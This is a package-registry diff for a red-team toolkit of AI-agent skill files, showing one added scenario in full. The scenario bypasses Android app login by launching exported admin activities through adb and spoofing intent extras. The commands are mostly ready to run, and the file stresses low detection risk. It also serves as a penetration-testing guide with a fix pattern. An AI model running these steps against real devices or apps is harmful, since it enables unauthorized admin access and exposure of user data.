rtexit-method 0.1.0 → 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (220) hide show
  1. package/package.json +2 -5
  2. package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
  3. package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
  4. package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
  5. package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
  6. package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
  7. package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
  8. package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
  9. package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
  10. package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
  11. package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
  12. package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
  13. package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
  14. package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
  15. package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
  16. package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
  17. package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
  18. package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
  19. package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
  20. package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
  21. package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
  22. package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
  23. package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
  24. package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
  25. package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
  26. package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
  27. package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
  28. package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
  29. package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
  30. package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
  31. package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
  32. package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
  33. package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
  34. package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
  35. package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
  36. package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
  37. package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
  38. package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
  39. package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
  40. package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
  41. package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
  42. package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
  43. package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
  44. package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
  45. package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
  46. package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
  47. package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
  48. package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
  49. package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
  50. package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
  51. package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
  52. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
  53. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
  54. package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
  55. package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
  56. package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
  57. package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
  58. package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
  59. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
  60. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
  61. package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
  62. package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
  63. package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
  64. package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
  65. package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
  66. package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
  67. package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
  68. package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
  69. package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
  70. package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
  71. package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
  72. package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
  73. package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
  74. package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
  75. package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
  76. package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
  77. package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
  78. package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
  79. package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
  80. package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
  81. package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
  82. package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
  83. package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
  84. package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
  85. package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
  86. package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
  87. package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
  88. package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
  89. package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
  90. package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
  91. package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
  92. package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
  93. package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
  94. package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
  95. package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
  96. package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
  97. package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
  98. package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
  99. package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
  100. package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
  101. package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
  102. package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
  103. package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
  104. package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
  105. package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
  106. package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
  107. package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
  108. package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
  109. package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
  110. package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
  111. package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
  112. package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
  113. package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
  114. package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
  115. package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
  116. package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
  117. package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
  118. package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
  119. package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
  120. package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
  121. package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
  122. package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
  123. package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
  124. package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
  125. package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
  126. package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
  127. package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
  128. package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
  129. package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
  130. package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
  131. package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
  132. package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
  133. package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
  134. package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
  135. package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
  136. package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
  137. package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
  138. package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
  139. package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
  140. package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
  141. package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
  142. package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
  143. package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
  144. package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
  145. package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
  146. package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
  147. package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
  148. package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
  149. package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
  150. package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
  151. package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
  152. package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
  153. package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
  154. package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
  155. package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
  156. package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
  157. package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
  158. package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
  159. package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
  160. package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
  161. package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
  162. package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
  163. package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
  164. package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
  165. package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
  166. package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
  167. package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
  168. package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
  169. package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
  170. package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
  171. package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
  172. package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
  173. package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
  174. package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
  175. package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
  176. package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
  177. package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
  178. package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
  179. package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
  180. package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
  181. package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
  182. package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
  183. package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
  184. package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
  185. package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
  186. package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
  187. package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
  188. package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
  189. package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
  190. package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
  191. package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
  192. package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
  193. package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
  194. package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
  195. package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
  196. package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
  197. package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
  198. package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
  199. package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
  200. package/packaged-assets/RTEXIT.md +127 -0
  201. package/tools/installer/lib/asset-manifest.js +10 -5
  202. package/tools/installer/lib/copy-assets.js +5 -2
  203. /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
  204. /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
  205. /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
  206. /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
  207. /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
  208. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
  209. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
  210. /package/{resources → packaged-assets/resources}/certifications.md +0 -0
  211. /package/{resources → packaged-assets/resources}/payloads.md +0 -0
  212. /package/{resources → packaged-assets/resources}/tools.md +0 -0
  213. /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
  214. /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
  215. /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
  216. /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
  217. /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
  218. /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
  219. /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
  220. /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
@@ -0,0 +1,463 @@
1
+ ---
2
+ name: rt-scenario-m003
3
+ description: "M-003: Exported Activity → Admin Function Access Without Login. Domain: mobile. Attack chain: decompile APK → check AndroidManifest.xml → find exported=true activities → launch via adb → access admin functionality. MITRE: T1626 → T1078. Real example: App has AdminDashboardActivity exported=true → adb shell am start → direct admin panel access"
4
+ ---
5
+
6
+ # M-003: Exported Activity → Admin Function Access Without Login
7
+
8
+ ## Overview
9
+
10
+ **Attack Objective:** Bypass authentication by directly invoking exported Android activities that expose privileged functionality — such as admin dashboards, settings panels, or user management screens — without requiring valid credentials.
11
+
12
+ **Required Access Level:** None (physical or USB access to device) / Low (adb enabled over network)
13
+
14
+ **Estimated Time to Execute:** 20–45 minutes (depending on APK complexity and obfuscation)
15
+
16
+ **Detection Risk Level:** Low — activity launches via adb do not trigger authentication flows, generate no login events, and leave minimal forensic artifacts on the device. Server-side detection depends on whether the admin endpoint validates session tokens independently.
17
+
18
+ ---
19
+
20
+ ## Prerequisites
21
+
22
+ ### Required Tools
23
+
24
+ | Tool | Purpose | Install Command |
25
+ |------|---------|-----------------|
26
+ | adb (Android Debug Bridge) | Launch activities, interact with device | `sudo apt install adb` / included in Android SDK Platform Tools |
27
+ | apktool | Decompile APK and extract AndroidManifest.xml | `sudo apt install apktool` or download from https://apktool.org |
28
+ | jadx | Decompile APK to Java/Kotlin source for deeper analysis | `sudo apt install jadx` or https://github.com/skylot/jadx/releases |
29
+ | aapt / aapt2 | Quick manifest inspection without full decompile | Included in Android SDK build-tools |
30
+ | grep / ripgrep | Search manifest and source for exported attributes | `sudo apt install ripgrep` |
31
+
32
+ ```bash
33
+ # Verify adb is working
34
+ adb version
35
+
36
+ # Install apktool (Debian/Ubuntu)
37
+ sudo apt update && sudo apt install -y apktool
38
+
39
+ # Install jadx via release binary
40
+ wget https://github.com/skylot/jadx/releases/latest/download/jadx-1.5.0.zip
41
+ unzip jadx-1.5.0.zip -d ~/tools/jadx
42
+ export PATH=$PATH:~/tools/jadx/bin
43
+ ```
44
+
45
+ ### Required Access or Conditions
46
+
47
+ - Physical USB access to an Android device with USB Debugging enabled, OR
48
+ - adb over TCP/IP enabled on the target device (port 5555 open), OR
49
+ - An Android emulator running the target application
50
+ - The target APK file (pulled from device or obtained via other means)
51
+ - adb authorized on the device (USB debugging approved)
52
+
53
+ ### Skill Level
54
+
55
+ **BEGINNER** — All steps use documented, publicly available tools with straightforward command syntax. No custom exploit development required.
56
+
57
+ ---
58
+
59
+ ## Attack Chain
60
+
61
+ ```
62
+ [1] Obtain APK
63
+ |
64
+ v
65
+ [2] Decompile APK with apktool
66
+ |
67
+ v
68
+ [3] Parse AndroidManifest.xml — find exported=true activities
69
+ |
70
+ v
71
+ [4] Prioritize high-value targets (Admin, Dashboard, Settings, Debug)
72
+ |
73
+ v
74
+ [5] Cross-reference with jadx source — confirm no runtime auth check
75
+ |
76
+ v
77
+ [6] Launch target activity via adb shell am start
78
+ |
79
+ v
80
+ [7] Access admin functionality — enumerate, screenshot, exfiltrate
81
+ ```
82
+
83
+ **MITRE ATT&CK Chain:** T1626 (Abuse Elevation Control Mechanism) → T1078 (Valid Accounts — bypassed entirely)
84
+
85
+ ---
86
+
87
+ ## Step-by-Step Execution
88
+
89
+ ### Step 1: Pull the APK from the Device
90
+
91
+ ```bash
92
+ # List installed packages and find the target
93
+ adb shell pm list packages | grep -i <appname>
94
+
95
+ # Example output:
96
+ # package:com.example.retailapp
97
+
98
+ # Get the APK path
99
+ adb shell pm path com.example.retailapp
100
+
101
+ # Example output:
102
+ # package:/data/app/com.example.retailapp-1/base.apk
103
+
104
+ # Pull the APK to local machine
105
+ adb pull /data/app/com.example.retailapp-1/base.apk ./target.apk
106
+ ```
107
+
108
+ **Expected Output:** `target.apk: 1 file pulled, X MB/s`
109
+
110
+ **Fallback:** If adb pull is denied due to permissions, obtain the APK from the Google Play Store via a third-party APK mirror (e.g., APKPure), or use:
111
+ ```bash
112
+ adb backup -apk com.example.retailapp
113
+ ```
114
+
115
+ ---
116
+
117
+ ### Step 2: Decompile APK with apktool
118
+
119
+ ```bash
120
+ apktool d target.apk -o ./target_decompiled
121
+ ```
122
+
123
+ **Expected Output:**
124
+ ```
125
+ I: Using Apktool 2.x.x
126
+ I: Loading resource table...
127
+ I: Decoding AndroidManifest.xml with resources...
128
+ I: Decoding file-resources...
129
+ I: Finished
130
+ ```
131
+
132
+ **Fallback:** If apktool fails due to unknown compression:
133
+ ```bash
134
+ apktool d target.apk -o ./target_decompiled --force --no-res
135
+ ```
136
+
137
+ ---
138
+
139
+ ### Step 3: Inspect AndroidManifest.xml for Exported Activities
140
+
141
+ ```bash
142
+ # View the manifest
143
+ cat ./target_decompiled/AndroidManifest.xml
144
+
145
+ # Search specifically for exported activities
146
+ grep -n 'exported="true"' ./target_decompiled/AndroidManifest.xml
147
+
148
+ # Also catch activities with intent-filters (implicitly exported on API < 31)
149
+ grep -n -A 5 '<activity' ./target_decompiled/AndroidManifest.xml | grep -E 'exported|intent-filter|AdminDashboard|Debug|Admin|Settings|Internal|Dev'
150
+ ```
151
+
152
+ **Expected Output (Vulnerable Example):**
153
+ ```xml
154
+ <activity
155
+ android:name="com.example.retailapp.admin.AdminDashboardActivity"
156
+ android:exported="true"
157
+ android:label="@string/admin_dashboard">
158
+ </activity>
159
+
160
+ <activity
161
+ android:name="com.example.retailapp.debug.DebugMenuActivity"
162
+ android:exported="true">
163
+ </activity>
164
+ ```
165
+
166
+ **Note:** On Android API level < 31, any activity with an `<intent-filter>` is implicitly exported even without `android:exported="true"`. Check both.
167
+
168
+ ```bash
169
+ # Find implicitly exported (has intent-filter, no explicit exported=false)
170
+ python3 - <<'EOF'
171
+ import xml.etree.ElementTree as ET
172
+
173
+ tree = ET.parse('./target_decompiled/AndroidManifest.xml')
174
+ root = tree.getroot()
175
+
176
+ ns = {'android': 'http://schemas.android.com/apk/res/android'}
177
+
178
+ for activity in root.iter('activity'):
179
+ name = activity.get('{http://schemas.android.com/apk/res/android}name', '')
180
+ exported = activity.get('{http://schemas.android.com/apk/res/android}exported', None)
181
+ has_intent_filter = activity.find('intent-filter') is not None
182
+
183
+ if exported == 'true' or (has_intent_filter and exported != 'false'):
184
+ print(f"[EXPORTED] {name} | explicit={exported} | intent-filter={has_intent_filter}")
185
+ EOF
186
+ ```
187
+
188
+ ---
189
+
190
+ ### Step 4: Prioritize High-Value Target Activities
191
+
192
+ ```bash
193
+ # Filter for admin/privileged activity names
194
+ grep -i -E 'admin|dashboard|manage|internal|debug|dev|root|superuser|staff|privileged|setting' \
195
+ ./target_decompiled/AndroidManifest.xml
196
+ ```
197
+
198
+ **Target Prioritization Criteria:**
199
+ - Name contains: Admin, Dashboard, Manage, Internal, Debug, Dev, Root, Staff
200
+ - Not in the normal user-facing navigation flow
201
+ - References to roles, permissions, or user tiers in the source
202
+
203
+ ---
204
+
205
+ ### Step 5: Confirm Lack of Runtime Auth Check via Source Analysis
206
+
207
+ ```bash
208
+ # Decompile to Java source with jadx
209
+ jadx -d ./target_source target.apk
210
+
211
+ # Find the target activity source file
212
+ find ./target_source -name "AdminDashboardActivity*" -o -name "AdminDashboard*"
213
+
214
+ # Inspect onCreate for auth checks
215
+ cat ./target_source/sources/com/example/retailapp/admin/AdminDashboardActivity.java
216
+ ```
217
+
218
+ **Vulnerable Pattern (No Auth Check):**
219
+ ```java
220
+ @Override
221
+ protected void onCreate(Bundle savedInstanceState) {
222
+ super.onCreate(savedInstanceState);
223
+ setContentView(R.layout.activity_admin_dashboard);
224
+ // No session check, no role verification — directly loads admin UI
225
+ loadAdminData();
226
+ }
227
+ ```
228
+
229
+ **Secure Pattern (What Should Exist):**
230
+ ```java
231
+ @Override
232
+ protected void onCreate(Bundle savedInstanceState) {
233
+ super.onCreate(savedInstanceState);
234
+ if (!SessionManager.getInstance().isAdmin()) {
235
+ finish();
236
+ return;
237
+ }
238
+ setContentView(R.layout.activity_admin_dashboard);
239
+ }
240
+ ```
241
+
242
+ If a runtime check exists but the exported activity is still reachable, check whether the check can be bypassed by supplying Intent extras:
243
+
244
+ ```bash
245
+ # Search for intent extra-based auth bypass patterns
246
+ grep -r 'getIntent().getBooleanExtra\|getIntent().getStringExtra' \
247
+ ./target_source/sources/com/example/retailapp/admin/
248
+ ```
249
+
250
+ ---
251
+
252
+ ### Step 6: Launch the Target Activity via adb
253
+
254
+ ```bash
255
+ # Basic launch — no extras required
256
+ adb shell am start -n com.example.retailapp/.admin.AdminDashboardActivity
257
+
258
+ # If the activity requires the app to already be running
259
+ adb shell monkey -p com.example.retailapp -c android.intent.category.LAUNCHER 1
260
+ adb shell am start -n com.example.retailapp/.admin.AdminDashboardActivity
261
+
262
+ # If extras are needed (common bypass for weak checks)
263
+ adb shell am start \
264
+ -n com.example.retailapp/.admin.AdminDashboardActivity \
265
+ --ez isAdmin true \
266
+ --es userRole "ADMIN" \
267
+ --ei userId 1
268
+ ```
269
+
270
+ **Expected Output (Success):**
271
+ ```
272
+ Starting: Intent { cmp=com.example.retailapp/.admin.AdminDashboardActivity }
273
+ ```
274
+
275
+ **Expected Output (Failure — security check present):**
276
+ ```
277
+ Starting: Intent { cmp=com.example.retailapp/.admin.AdminDashboardActivity }
278
+ Error type 3
279
+ Error: Activity class {com.example.retailapp/com.example.retailapp.admin.AdminDashboardActivity} does not exist.
280
+ ```
281
+
282
+ Or the activity launches but immediately closes — indicates a runtime auth check is present.
283
+
284
+ **Fallback — Try component with full package path:**
285
+ ```bash
286
+ adb shell am start \
287
+ -n com.example.retailapp/com.example.retailapp.admin.AdminDashboardActivity
288
+ ```
289
+
290
+ **Fallback — Use intent action if defined:**
291
+ ```bash
292
+ # Find custom actions in manifest
293
+ grep -i 'action android:name' ./target_decompiled/AndroidManifest.xml
294
+
295
+ adb shell am start -a com.example.retailapp.ACTION_ADMIN_DASHBOARD
296
+ ```
297
+
298
+ ---
299
+
300
+ ### Step 7: Access and Document Admin Functionality
301
+
302
+ ```bash
303
+ # Take a screenshot of the admin panel
304
+ adb shell screencap -p /sdcard/admin_panel.png
305
+ adb pull /sdcard/admin_panel.png ./evidence/admin_panel.png
306
+
307
+ # Record screen during exploration
308
+ adb shell screenrecord /sdcard/admin_session.mp4
309
+ # ... interact with the device ...
310
+ # Ctrl+C to stop recording
311
+ adb pull /sdcard/admin_session.mp4 ./evidence/admin_session.mp4
312
+
313
+ # Dump the activity's UI hierarchy for automated analysis
314
+ adb shell uiautomator dump /sdcard/ui_dump.xml
315
+ adb pull /sdcard/ui_dump.xml ./evidence/ui_dump.xml
316
+ cat ./evidence/ui_dump.xml | grep -i -E 'text|content-desc' | head -50
317
+ ```
318
+
319
+ **Document what is accessible:**
320
+ - User management (list, modify, delete users)
321
+ - Financial data or transaction history
322
+ - Configuration and feature flags
323
+ - Logging and audit trail access
324
+ - Credential stores or API key management
325
+
326
+ ---
327
+
328
+ ## Real-World Reference
329
+
330
+ **Scenario:** A retail mobile application (`com.example.retailapp`) has an `AdminDashboardActivity` declared in its manifest with `android:exported="true"`. This activity was originally intended for internal QA testing but was never removed from the production build. The activity loads an admin panel that allows listing all registered users, viewing order histories, and issuing refunds — all without any authentication check in `onCreate()`.
331
+
332
+ **Attack Execution:**
333
+ ```bash
334
+ adb shell am start -n com.example.retailapp/.admin.AdminDashboardActivity
335
+ ```
336
+
337
+ **Result:** The attacker gains direct access to the admin panel on any physical device with USB debugging enabled, or on any device where the attacker previously installed a companion app that proxies the intent. No credentials, no brute force, no network traffic anomalies.
338
+
339
+ **Impact:** Full administrative access. All user PII exposed. Ability to issue arbitrary refunds. Audit logs not triggered because no login event occurred.
340
+
341
+ **Real CVE-class Examples:**
342
+ - CVE-2023-20963: Android WorkSource privilege escalation via exported component
343
+ - Multiple HackerOne reports against fintech and e-commerce Android apps cite exported admin activities as critical findings (auth bypass, P1 severity)
344
+
345
+ ---
346
+
347
+ ## MITRE ATT&CK Mapping
348
+
